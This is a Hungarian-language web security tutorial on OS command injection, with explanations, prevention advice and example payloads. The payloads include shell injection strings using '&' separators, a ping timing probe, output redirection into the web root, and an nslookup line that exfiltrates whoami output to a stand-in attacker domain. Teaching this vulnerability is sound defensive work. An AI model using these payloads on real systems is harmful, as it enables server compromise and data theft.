ebben a részben elmagyarázzuk, mi az OS command injection, leírjuk, hogyan lehet felismerni és kihasználni a sebezhetőségeket, ismertetünk néhány hasznos parancsot és technikát a különböző operációs rendszerekhez, és összefoglaljuk, hogyan lehet megakadályozni az OS parancs injection-t.
- mi az OS parancs injekció?
- tetszőleges parancsok végrehajtása
- hasznos parancsok
- vak operációs rendszer parancsinjekció biztonsági rései
- vak operációs rendszer parancsinjekciójának észlelése időkésleltetések használatával
- a vak operációs rendszer parancsinjekciójának kihasználása a kimenet átirányításával
- vak OS parancsinjekció kihasználása sávon kívüli (OAST) technikák alkalmazásával
- az OS parancsok befecskendezésének módjai
- hogyan lehet megakadályozni az OS parancsinjekciós támadásokat
mi az OS parancs injekció?
az OS command injection (más néven shell injection) egy webes biztonsági rés, amely lehetővé teszi a támadó számára, hogy tetszőleges operációs rendszer (OS) parancsokat hajtson végre az alkalmazást futtató kiszolgálón, és általában teljesen veszélyeztesse az alkalmazást és az összes adatot. Nagyon gyakran a támadó kihasználhatja az operációs rendszer parancs-befecskendezési sebezhetőségét a tárhely-infrastruktúra más részeinek veszélyeztetésére, kihasználva a bizalmi kapcsolatokat, hogy a támadást a szervezet más rendszereire irányítsa.
tetszőleges parancsok végrehajtása
tekintsünk meg egy vásárlási alkalmazást, amely lehetővé teszi a felhasználó számára, hogy megnézze, van-e egy elem raktáron egy adott üzletben. Ez az információ olyan URL-en keresztül érhető el, mint:
https://insecure-website.com/stockStatus?productID=381&storeID=29
a készletinformációk megadásához az alkalmazásnak különféle régi rendszereket kell lekérdeznie. Történelmi okokból a funkcionalitás egy shell parancs meghívásával valósul meg, argumentumként a product and store ID-kkel:
stockreport.pl 381 29
ez a parancs kiadja a megadott elem készletállapotát, amelyet visszaad a felhasználónak.
mivel az alkalmazás nem hajt végre védelmet az operációs rendszer parancsának befecskendezése ellen, a támadó a következő bemenetet küldheti el egy tetszőleges parancs végrehajtásához:
& echo aiwefwlguh &
ha ez a bemenet a productID
paraméterben van megadva, akkor az alkalmazás által végrehajtott parancs:
stockreport.pl & echo aiwefwlguh & 29
a echo
parancs egyszerűen a mellékelt karakterláncot visszhangozza a kimeneten,és hasznos módszer az operációs rendszer bizonyos típusú parancsainak tesztelésére. A &
karakter egy shell parancs elválasztó, így valójában három különálló parancs kerül végrehajtásra egymás után. Ennek eredményeként a felhasználónak visszaküldött kimenet:
Error - productID was not provided
aiwefwlguh
29: command not found
a három kimeneti sor azt mutatja, hogy:
- az eredeti
stockreport.pl
parancs a várt argumentumok nélkül lett végrehajtva, ezért hibaüzenetet adott vissza. - az injektált
echo
parancs végrehajtásra került, és a mellékelt karakterlánc visszhangzott a kimeneten. - az eredeti
29
argumentum parancsként lett végrehajtva, ami hibát okozott.
a kiegészítő parancselválasztó &
elhelyezése az injektált parancs után általában hasznos, mert elválasztja az injektált parancsot attól, ami az injektálási pontot követi. Ez csökkenti annak valószínűségét, hogy az alábbiak megakadályozzák az injektált parancs végrehajtását.
hasznos parancsok
ha azonosított egy operációs rendszer parancsbefecskendezési sebezhetőségét, általában hasznos néhány kezdeti parancs végrehajtása, hogy információkat szerezzen a veszélyeztetett rendszerről. Az alábbiakban összefoglaljuk azokat a parancsokat, amelyek hasznosak Linux és Windows platformokon:
a parancs célja | Linux | Windows |
---|---|---|
az aktuális felhasználó neve | whoami |
whoami |
operációs rendszer | uname -a |
ver |
hálózati konfiguráció | ifconfig |
ipconfig /all |
Hálózati kapcsolatok | netstat -an |
netstat -an |
futó folyamatok | ps -ef |
tasklist |
vak operációs rendszer parancsinjekció biztonsági rései
Az operációs rendszer parancsinjekciójának sok példánya vak sebezhetőség. Ez azt jelenti, hogy az alkalmazás nem adja vissza a parancs kimenetét a HTTP válaszán belül. A vak sebezhetőségeket továbbra is ki lehet használni, de különböző technikákra van szükség.
tekintsünk meg egy webhelyet, amely lehetővé teszi a felhasználók számára, hogy visszajelzést küldjenek a webhelyről. A felhasználó megadja az e-mail címét és a visszajelzési üzenetet. A kiszolgálóoldali alkalmazás ezután e-mailt generál a webhely rendszergazdájának, amely tartalmazza a visszajelzést. Ehhez felhívja a mail
programot a benyújtott részletekkel. Például:
mail -s "This site is great" -aFrom:[email protected] [email protected]
a mail
parancs kimenete (ha van ilyen) nem jelenik meg az alkalmazás válaszaiban, ezért a echo
hasznos teher használata nem lenne hatékony. Ebben a helyzetben számos más technikát is használhat a biztonsági rés észlelésére és kihasználására.
vak operációs rendszer parancsinjekciójának észlelése időkésleltetések használatával
használhat egy injektált parancsot, amely késleltetést indít, lehetővé téve annak megerősítését, hogy a parancsot az alkalmazás válaszához szükséges idő alapján hajtották végre. A ping
parancs hatékony módja ennek, mivel lehetővé teszi az elküldendő ICMP csomagok számának megadását, ezért a parancs futtatásához szükséges időt:
& ping -c 10 127.0.0.1 &
ez a parancs hatására az alkalmazás 10 másodpercig pingeli a visszacsatoló hálózati adaptert.
a vak operációs rendszer parancsinjekciójának kihasználása a kimenet átirányításával
átirányíthatja az injektált parancs kimenetét egy fájlba a webes gyökéren belül, amelyet a böngésző segítségével lekérhet. Például, ha az alkalmazás statikus erőforrásokat szolgál fel a /var/www/static
fájlrendszer helyéről, akkor a következő bemenetet küldheti el:
& whoami > /var/www/static/whoami.txt &
a >
karakter elküldi a whoami
parancs kimenetét a megadott fájlba. Ezután a böngésző segítségével letöltheti a https://vulnerable-website.com/whoami.txt
fájlt, és megtekintheti az injektált parancs kimenetét.
vak OS parancsinjekció kihasználása sávon kívüli (OAST) technikák alkalmazásával
használhat olyan injektált parancsot, amely sávon kívüli hálózati interakciót indít el az Ön által irányított rendszerrel, OAST technikák alkalmazásával. Például:
& nslookup kgji2ohoyw.web-attacker.com &
ez a hasznos teher a nslookup
parancsot használja a megadott tartomány DNS-keresésének előidézésére. A támadó figyelemmel kísérheti a megadott keresés előfordulását, és ezáltal észlelheti, hogy a parancsot sikeresen injektálták.
az Out-of-band csatorna is egy egyszerű módja annak, hogy exfiltrate a kimenet injektált parancsok:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
ez DNS-keresést eredményez a támadó tartományában, amely a whoami
parancs eredményét tartalmazza:
wwwuser.kgji2ohoyw.web-attacker.com
az OS parancsok befecskendezésének módjai
különféle shell metakarakterek használhatók az OS parancs injekciós támadásainak végrehajtására.
számos karakter parancselválasztóként működik, lehetővé téve a parancsok összekapcsolását. A következő parancselválasztók mind Windows, mind Unix alapú rendszereken működnek:
-
&
-
&&
-
|
-
||
a következő parancselválasztók csak Unix-alapú rendszereken működnek:
-
;
- újsor (
0x0a
vagy\n
)
Unix-alapú rendszereken is használhatja backticks vagy a dollár karakter az injektált parancs inline végrehajtásához az eredeti parancson belül:
-
`
befecskendezett parancs`
-
$(
befecskendezett parancs)
vegye figyelembe, hogy a különböző shell metakarakterek finoman eltérő viselkedéssel rendelkeznek, ami befolyásolhatja, hogy bizonyos helyzetekben működnek-e, és lehetővé teszik-e a parancs kimenet sávon belüli visszakeresését, vagy csak vak kizsákmányoláshoz hasznosak.
néha az Ön által vezérelt bemenet idézőjelben jelenik meg az eredeti parancsban. Ebben a helyzetben meg kell szüntetnie az idézett kontextust ("
vagy '
használatával), mielőtt megfelelő shell metakaraktereket használna egy új parancs beadására.
hogyan lehet megakadályozni az OS parancsinjekciós támadásokat
messze a leghatékonyabb módja annak, hogy megakadályozzák az OS parancsinjekciós sebezhetőségeket, hogy soha ne hívja ki az OS parancsokat az alkalmazásréteg kódjából. Gyakorlatilag minden esetben vannak alternatív módszerek a szükséges funkciók megvalósítására biztonságosabb platform API-k segítségével.
ha elkerülhetetlennek tartjuk az operációs rendszer parancsainak a felhasználó által megadott bemenettel történő hívását, akkor erős bemeneti érvényesítést kell végrehajtani. Néhány példa a hatékony érvényesítésre:
- érvényesítése ellen engedélyezőlistán megengedett értékek.
- annak ellenőrzése, hogy a bemenet egy szám.
- annak ellenőrzése, hogy a bemenet csak alfanumerikus karaktereket tartalmaz, nincs más szintaxis vagy szóköz.
soha ne próbálja meg fertőtleníteni a bemenetet a shell metakarakterek elhagyásával. A gyakorlatban ez túlságosan hibára hajlamos és sebezhető ahhoz, hogy egy képzett támadó megkerülje.